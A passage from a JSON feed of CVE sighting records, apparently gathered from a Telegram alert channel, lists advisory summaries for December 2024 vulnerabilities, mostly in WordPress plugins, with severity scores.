t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:35.000000Z"}, {"uuid": "2656f4f5-cfd7-4d5a-85e5-ce6ff0040460", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12059", "type": "seen", "source": "https://t.me/cvedetector/12729", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12059 - Elementor ElementInvader Sensitive Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12059 \nPublished : Dec. 12, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : The ElementInvader Addons for Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.3.1 via the eli_option_value shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract arbitrary options from the wp_options table. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:58:26.000000Z"}, {"uuid": "0246f6e1-4130-4cd6-aaf4-8a00378eef19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12325", "type": "seen", "source": "https://t.me/cvedetector/12631", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12325 - WordPress Waymark Plugin Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12325 \nPublished : Dec. 11, 2024, 12:15 p.m. | 38\u00a0minutes ago \nDescription : The Waymark plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018content\u2019 parameter in all versions up to, and including, 1.4.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-11T14:24:09.000000Z"}, {"uuid": "b612aa42-5593-4013-9223-f489999eee36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12265", "type": "seen", "source": "https://t.me/cvedetector/12725", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12265 - \"DePay WooCommerce for WordPress Debug Information Unauthorized Access Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12265 \nPublished : Dec. 12, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : The Web3 Crypto Payments by DePay for WooCommerce plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the /wp-json/depay/wc/debug REST API endpoint in all versions up to, and including, 2.12.17. This makes it possible for unauthenticated attackers to retrieve debug infromation. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:58:23.000000Z"}, {"uuid": "1a5d8fb0-7718-41da-9715-9fb160db684b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12162", "type": "seen", "source": "https://t.me/cvedetector/12712", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12162 - Ultimate Member WordPress Reflected Cross-Site Scripting in Video & Photo Gallery\", \n  \"Content\": \"CVE ID : CVE-2024-12162 \nPublished : Dec. 12, 2024, 5:15 a.m. | 43\u00a0minutes ago \nDescription : The Video & Photo Gallery for Ultimate Member plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 1.1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:07:59.000000Z"}, {"uuid": "b499f31e-bb8c-47f9-a577-b10a8c3e79cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12156", "type": "seen", "source": "https://t.me/cvedetector/12711", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12156 - WordPress RSS Feed to Post Autoblogging SEO Help Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12156 \nPublished : Dec. 12, 2024, 5:15 a.m. | 43\u00a0minutes ago \nDescription : The AI Content Writer, RSS Feed to Post, Autoblogging SEO Help plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 6.1.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:07:55.000000Z"}, {"uuid": "6dc49d15-6e14-4579-a6b8-cda0111a4fad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12441", "type": "seen", "source": "https://t.me/cvedetector/12710", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12441 - WordPress BP Email Assign Templates Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12441 \nPublished : Dec. 12, 2024, 5:15 a.m. | 43\u00a0minutes ago \nDescription : The BP Email Assign Templates plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 1.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:07:54.000000Z"}, {"uuid": "65f13edf-b5cb-4848-9229-71290a675acd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12406", "type": "seen", "source": "https://t.me/cvedetector/12709", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12406 - WordPress Manage e-Digital Books Library Plugin SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12406 \nPublished : Dec. 12, 2024, 5:15 a.m. | 43\u00a0minutes ago \nDescription : The Library Management System \u2013 Manage e-Digital Books Library plugin for WordPress is vulnerable to SQL Injection via the 'owt7_borrow_books_id' parameter in all versions up to, and including, 3.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:07:54.000000Z"}, {"uuid": "f0618195-0963-4450-8829-640083bf1555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12463", "type": "seen", "source": "https://t.me/cvedetector/12707", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12463 - \"Arena.IM Live Blogging for WordPress Stored Cross-Site Scripting (XSS)\"\", \n  \"Content\": \"CVE ID : CVE-2024-12463 \nPublished : Dec. 12, 2024, 5:15 a.m. | 43\u00a0minutes ago \nDescription : The Arena.IM \u2013 Live Blogging for real-time events plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'arena_embed_amp' shortcode in all versions up to, and including, 0.3.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:07:52.000000Z"}, {"uuid": "9be7fe5c-6eff-4213-a813-ff023bfa738e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12260", "type": "seen", "source": "https://t.me/cvedetector/12689", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12260 - WordPress Ultimate Endpoints With Rest Api Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12260 \nPublished : Dec. 12, 2024, 4:15 a.m. | 36\u00a0minutes ago \nDescription : The Ultimate Endpoints With Rest Api plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 2.2.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T06:17:23.000000Z"}, {"uuid": "04f90a54-8b57-47ce-9a32-5142b32aa34c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12341", "type": "seen", "source": "https://t.me/cvedetector/12688", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12341 - WordPress Custom Skins Contact Form 7 Unauthenticated Data Tampering Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12341 \nPublished : Dec. 12, 2024, 4:15 a.m. | 36\u00a0minutes ago \nDescription : The Custom Skins Contact Form 7 plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'cf7cs_action_callback' function in all versions up to, and including, 1.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the content of any post and create new skins. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T06:17:22.000000Z"}, {"uuid": "64dc576d-2e27-4b45-9558-498395a4cbd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12258", "type": "seen", "source": "https://t.me/cvedetector/12687", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12258 - \"Authorize.net WordPress Reflected Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12258 \nPublished : Dec. 12, 2024, 4:15 a.m. | 36\u00a0minutes ago \nDescription : The WP Service Payment Form With Authorize.net plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 2.6.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T06:17:22.000000Z"}, {"uuid": "2b73404a-4cf9-4893-ba49-783d54f14547", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12482", "type": "seen", "source": "https://t.me/cvedetector/12655", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12482 - \"Wetech-cms Path Traversal Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12482 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability was found in cjbi wetech-cms 1.0/1.1/1.2. It has been rated as problematic. Affected by this issue is the function backup of the file wetech-cms-master\\wetech-basic-common\\src\\main\\java\\tech\\wetech\\basic\\util\\BackupFileUtil.java of the component Database Backup Handler. The manipulation of the argument name leads to path traversal: '../filedir'. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:33.000000Z"}, {"uuid": "a7387abe-f13d-4b3e-a642-86e30a86d234", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12481", "type": "seen", "source": "https://t.me/cvedetector/12654", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12481 - Apache Wetech-CMS SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12481 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability was found in cjbi wetech-cms 1.0/1.1/1.2. It has been declared as critical. Affected by this vulnerability is the function findUser of the file wetech-cms-master\\wetech-core\\src\\main\\java\\tech\\wetech\\cms\\dao\\UserDao.java. The manipulation of the argument searchValue/gId/rId leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:32.000000Z"}, {"uuid": "60468a35-5125-4af6-a731-883942e99dc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12004", "type": "seen", "source": "https://t.me/cvedetector/12622", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12004 - WooCommerce WPC Order Notes CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12004 \nPublished : Dec. 11, 2024, 9:15 a.m. | 40\u00a0minutes ago \nDescription : The WPC Order Notes for WooCommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.5.2. This is due to missing or incorrect nonce validation on the ajax_update_order_note() function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-11T11:03:32.000000Z"}, {"uuid": "1799ea7e-4acd-46f6-94c5-4c04999e38c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12461", "type": "seen", "source": "https://t.me/cvedetector/12691", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12461 - WordPress Revive Adserver Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12461 \nPublished : Dec. 12, 2024, 4:15 a.m. | 36\u00a0minutes ago \nDescription : The WP-Revive Adserver plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wprevive_async' shortcode in all versions up to, and including, 2.2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T06:17:25.000000Z"}, {"uuid": "b0b6309d-7c82-445d-9a44-c3cd94fb9ba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12338", "type": "seen", "source": "https://t.me/cvedetector/12690", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12338 - \"WordPress Website Toolbox Community Plugin Reflected Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12338 \nPublished : Dec. 12, 2024, 4:15 a.m. | 36\u00a0minutes ago \nDescription : The Website Toolbox Community plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018websitetoolbox_username\u2019 parameter in all versions up to, and including, 2.0.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T06:17:24.000000Z"}, {"uuid": "d8e2bc53-1b3f-4aea-89c6-a4f62d7699f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12489", "type": "seen", "source": "https://t.me/cvedetector/12652", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12489 - \"Code-projects Online Class and Exam Scheduling System SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12489 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Online Class and Exam Scheduling System 1.0. It has been classified as critical. This affects an unknown part of the file /pages/term.php. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:28.000000Z"}, {"uuid": "e87d6f93-aec7-4f37-9090-1f430006ed54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12487", "type": "seen", "source": "https://t.me/cvedetector/12650", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12487 - Code-projects Online Class and Exam Scheduling System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12487 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability has been found in code-projects Online Class and Exam Scheduling System 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /pages/room_update.php. The manipulation of the argument id leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:26.000000Z"}, {"uuid": "6a28c8e5-bea4-4256-b3ec-09fd1d874e34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12486", "type": "seen", "source": "https://t.me/cvedetector/12649", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12486 - Code-projects Online Class and Exam Scheduling System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12486 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in code-projects Online Class and Exam Scheduling System 1.0. Affected is an unknown function of the file /pages/rank_update.php. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:25.000000Z"}, {"uuid": "fbc6e928-71c6-4b34-acec-9a119fb06c87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12381", "type": "seen", "source": "https://t.me/cvedetector/12661", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12381 - Google Chrome V8 Type Confusion Heap Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12381 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : Type Confusion in V8 in Google Chrome prior to 131.0.6778.139 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:40.000000Z"}, {"uuid": "c436a613-38e5-4e42-b455-30e9fd954cec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12480", "type": "seen", "source": "https://t.me/cvedetector/12653", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12480 - Vulnerability Title: CJBI Wetech-CMS SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12480 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability was found in cjbi wetech-cms 1.0/1.1/1.2. It has been classified as critical. Affected is the function searchTopic of the file wetech-cms-master\\wetech-core\\src\\main\\java\\tech\\wetech\\cms\\dao\\TopicDao.java. The manipulation of the argument con leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:28.000000Z"}, {"uuid": "e168330c-340d-4b16-8f5e-ab157e2e5d3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12488", "type": "seen", "source": "https://t.me/cvedetector/12651", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12488 - Code-projects Online Class and Exam Scheduling System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12488 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Online Class and Exam Scheduling System 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file /pages/subject_update.php. The manipulation of the argument id leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:27.000000Z"}, {"uuid": "0b08049d-d5b5-4d12-a096-8b66bc13b52b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12484", "type": "seen", "source": "https://t.me/cvedetector/12657", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12484 - Codezips Technical Discussion Forum SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12484 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in Codezips Technical Discussion Forum 1.0. This vulnerability affects unknown code of the file /signuppost.php. The manipulation of the argument Username leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:34.000000Z"}, {"uuid": "250b6bee-8d91-4b7d-8473-f4a2c6678f89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12483", "type": "seen", "source": "https://t.me/cvedetector/12656", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12483 - Dromara UJCMS Authorization Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12483 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in Dromara UJCMS up to 9.6.3. This affects an unknown part of the file /users/id of the component User ID Handler. The manipulation leads to authorization bypass. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. \nSeverity: 3.7 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:33.000000Z"}, {"uuid": "dbae562d-d536-47bb-b2f7-74e83ee7d4a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12283", "type": "seen", "source": "https://t.me/cvedetector/12623", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12283 - WordPress WP Pipes Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12283 \nPublished : Dec. 11, 2024, 9:15 a.m. | 40\u00a0minutes ago \nDescription : The WP Pipes plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018x1\u2019 parameter in all versions up to, and including, 1.4.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-11T11:03:32.000000Z"}, {"uuid": 